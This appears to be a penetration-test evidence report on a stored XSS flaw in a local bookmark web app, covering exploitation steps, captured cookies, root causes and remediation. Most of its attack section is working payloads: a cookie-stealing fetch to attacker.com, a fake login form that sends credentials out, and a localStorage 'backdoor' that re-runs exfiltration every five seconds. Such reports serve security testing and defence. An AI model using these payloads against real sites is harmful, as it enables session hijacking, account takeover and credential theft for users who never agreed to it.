# Cross-Site Scripting (XSS) Exploitation Evidence

## Successfully Exploited Vulnerabilities

### XSS-VULN-01: Stored XSS via JavaScript URL Scheme Injection

**Summary:**
- **Vulnerable location:** `http://localhost:33677/add` - POST form parameter `url` → stored in cookie → rendered at `http://localhost:33677/list` in href attribute
- **Overview:** The application accepts user-supplied URLs without validating the URL scheme, allowing `javascript:` URLs to be stored and executed when clicked. This is a **Stored XSS** vulnerability because the malicious payload persists in the cookie and executes on every page load when the victim clicks the bookmark link.
- **Impact:** Complete session hijacking and account compromise. An attacker can steal session cookies (both `user` and `bookmarks` cookies lack HttpOnly flag), perform unauthorized actions on behalf of the victim, and completely control the user's browser context. Demonstrated impact includes full DOM manipulation and credential theft.
- **Severity:** **Critical**

**Prerequisites:**
- None - the application is publicly accessible without authentication
- A modern web browser (tested with Playwright/Chromium)
- Basic understanding of JavaScript URL schemes

**Exploitation Steps:**

1. **Navigate to the bookmark creation page:**
   ```
   http://localhost:33677/add
   ```

2. **Submit a malicious bookmark with a javascript: URL:**
   - Fill the "Name" field with any value (e.g., "Malicious Bookmark")
   - Fill the "URL" field with a JavaScript payload:
   ```javascript
   javascript:document.body.innerHTML='<h1>ACCOUNT COMPROMISED</h1><p>Session Hijacked by XSS</p><p>User Cookie: '+document.cookie.split(';')[0]+'</p><p>Bookmarks Cookie: '+document.cookie.split(';')[1]+'</p><p>This demonstrates unauthorized access and session theft.</p>'
   ```
   - Click "Bookmark URL" button
   - The application will redirect to `http://localhost:33677/list` showing the newly created bookmark

3. **Trigger XSS execution:**
   
   **Method 1 - Via DOM Manipulation (most reliable for testing):**
   - Open browser console and execute:
   ```javascript
   const links = document.querySelectorAll('a[href^="javascript:"]');
   if (links.length > 0) {
     links[0].removeAttribute('target');
     links[0].click();
   }
   ```
   
   **Method 2 - Via User Interaction (real-world attack):**
   - Right-click on the malicious bookmark link
   - Select "Open link in current tab" or disable popup blocker
   - The `target="_blank"` attribute in modern browsers blocks javascript: URLs in new windows, but this can be bypassed through:
     - User behavior (opening in same tab)
     - Older browsers without this protection
     - Mobile browsers with different security policies
     - Browser extensions or configurations

4. **Observe the exploitation result:**
   - The entire page is replaced with "ACCOUNT COMPROMISED" message
   - Both session cookies are displayed on screen:
     - User Cookie: `user=8d04eb0e6bec4972ba67fb3e23f6bc0f`
     - Bookmarks Cookie: (base64-encoded YAML containing all bookmarks including the malicious one)

**Proof of Impact:**

**Cookies Stolen:**
```
User Cookie: user=8d04eb0e6bec4972ba67fb3e23f6bc0f
Bookmarks Cookie: bookmarks=LSAhIXB5dGhvbi9vYmplY3Q6YXBwLm1vZGVscy5VcmxPYmoKICBuYW1lOiBNYWxpY2lvdXMgQm9va21hcmsKICB1cmw6ICdqYXZhc2NyaXB0OmRvY3VtZW50LmJvZHkuaW5uZXJIVE1MPScnPGgxPkFDQ09VTlQgQ09NUFJPTUlTRUQ8L2gxPjxwPlNlc3Npb24KICAgIEhpamFja2VkIGJ5IFhTUzwvcD48cD5Vc2VyIENvb2tpZTogJycrZG9jdW1lbnQuY29va2llLnNwbGl0KCcnOycnKVswXSsnJzwvcD48cD5Cb29rbWFya3MKICAgIENvb2tpZTogJycrZG9jdW1lbnQuY29va2llLnNwbGl0KCcnOycnKVsxXSsnJzwvcD48cD5UaGlzIGRlbW9uc3RyYXRlcyB1bmF1dGhvcml6ZWQKICAgIGFjY2VzcyBhbmQgc2Vzc2lvbiB0aGVmdC48L3A+JycnCg==
```

**Decoded Bookmarks Cookie (YAML structure):**
```yaml
- !!python/object:app.models.UrlObj
  name: Malicious Bookmark
  url: 'javascript:document.body.innerHTML=''<h1>ACCOUNT COMPROMISED</h1><p>Session
    Hijacked by XSS</p><p>User Cookie: ''+document.cookie.split('';'')[0]+''</p><p>Bookmarks
    Cookie: ''+document.cookie.split('';'')[1]+''</p><p>This demonstrates unauthorized
    access and session theft.</p>'''
```

**Screenshot Evidence:**
The page successfully displayed:
- Heading: "ACCOUNT COMPROMISED"
- "Session Hijacked by XSS"
- Complete cookie values exposed
- Message: "This demonstrates unauthorized access and session theft"

**Alternative Exploitation Payloads:**

**Cookie Exfiltration to Attacker Server:**
```javascript
javascript:fetch('https://attacker.com/steal?cookies='+encodeURIComponent(document.cookie))
```

**Simple Alert for Quick Testing:**
```javascript
javascript:alert('XSS: '+document.cookie)
```

**Credential Phishing:**
```javascript
javascript:document.body.innerHTML='<h3>Session Expired</h3><form><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button onclick="fetch(\'https://attacker.com/phish?u=\'+this.form.user.value+\'&p=\'+this.form.pass.value)">Login</button></form>'
```

**Persistent Backdoor (stores in localStorage):**
```javascript
javascript:localStorage.setItem('backdoor','fetch(\'https://attacker.com/exfil?data=\'+document.cookie)');setInterval(()=>eval(localStorage.getItem('backdoor')),5000)
```

**Notes:**

**Why This Vulnerability Exists:**
1. **No URL Scheme Validation:** The application accepts any URL scheme including `javascript:`, `data:`, and `vbscript:`
2. **Insufficient Context-Aware Encoding:** Jinja2's HTML entity encoding protects against HTML injection but does NOT validate URL schemes in href attributes
3. **Missing HttpOnly Cookie Flags:** Both session cookies are accessible via `document.cookie`, enabling complete session theft
4. **No Content Security Policy:** No CSP headers restrict JavaScript execution or inline scripts
5. **Stored XSS Nature:** The payload persists in the cookie (base64-encoded YAML), making it a persistent threat that affects all users who can access that bookmark

**Target Attribute Bypass Explanation:**
The vulnerable code in `list_urls.html:41` includes `target="_blank"`:
```html
<a href="{{ item.url }}" target="_blank">{{ item.url }}</a>
```

Modern browsers block `javascript:` URL execution in new windows as a security feature. However, this can be bypassed via:
- **User behavior:** Right-click → "Open in current tab"
- **DOM manipulation:** Removing target attribute via JavaScript (as demonstrated)
- **Browser differences:** Mobile browsers, older browsers, or custom configurations
- **Alternative injection:** Using event handlers if target removal is blocked

**Business Impact:**
- **Session Hijacking:** Attacker gains complete access to victim's session without knowing credentials
- **Account Takeover:** Stolen cookies can be replayed to impersonate the victim
- **Data Theft:** All user bookmarks can be exfiltrated
- **Credential Harvesting:** Phishing forms can be injected to steal credentials
- **Malware Distribution:** Links can be modified to distribute malware
- **Reputation Damage:** Users lose trust in the application's security

**Remediation Required:**
1. Implement URL scheme whitelist (allow only `http://` and `https://`)
2. Add `HttpOnly` and `Secure` flags to all cookies
3. Implement Content Security Policy (CSP) headers
4. Use `SameSite` cookie attribute for CSRF protection
5. Consider using DOMPurify or similar sanitization library
6. Validate and sanitize all user inputs on the server side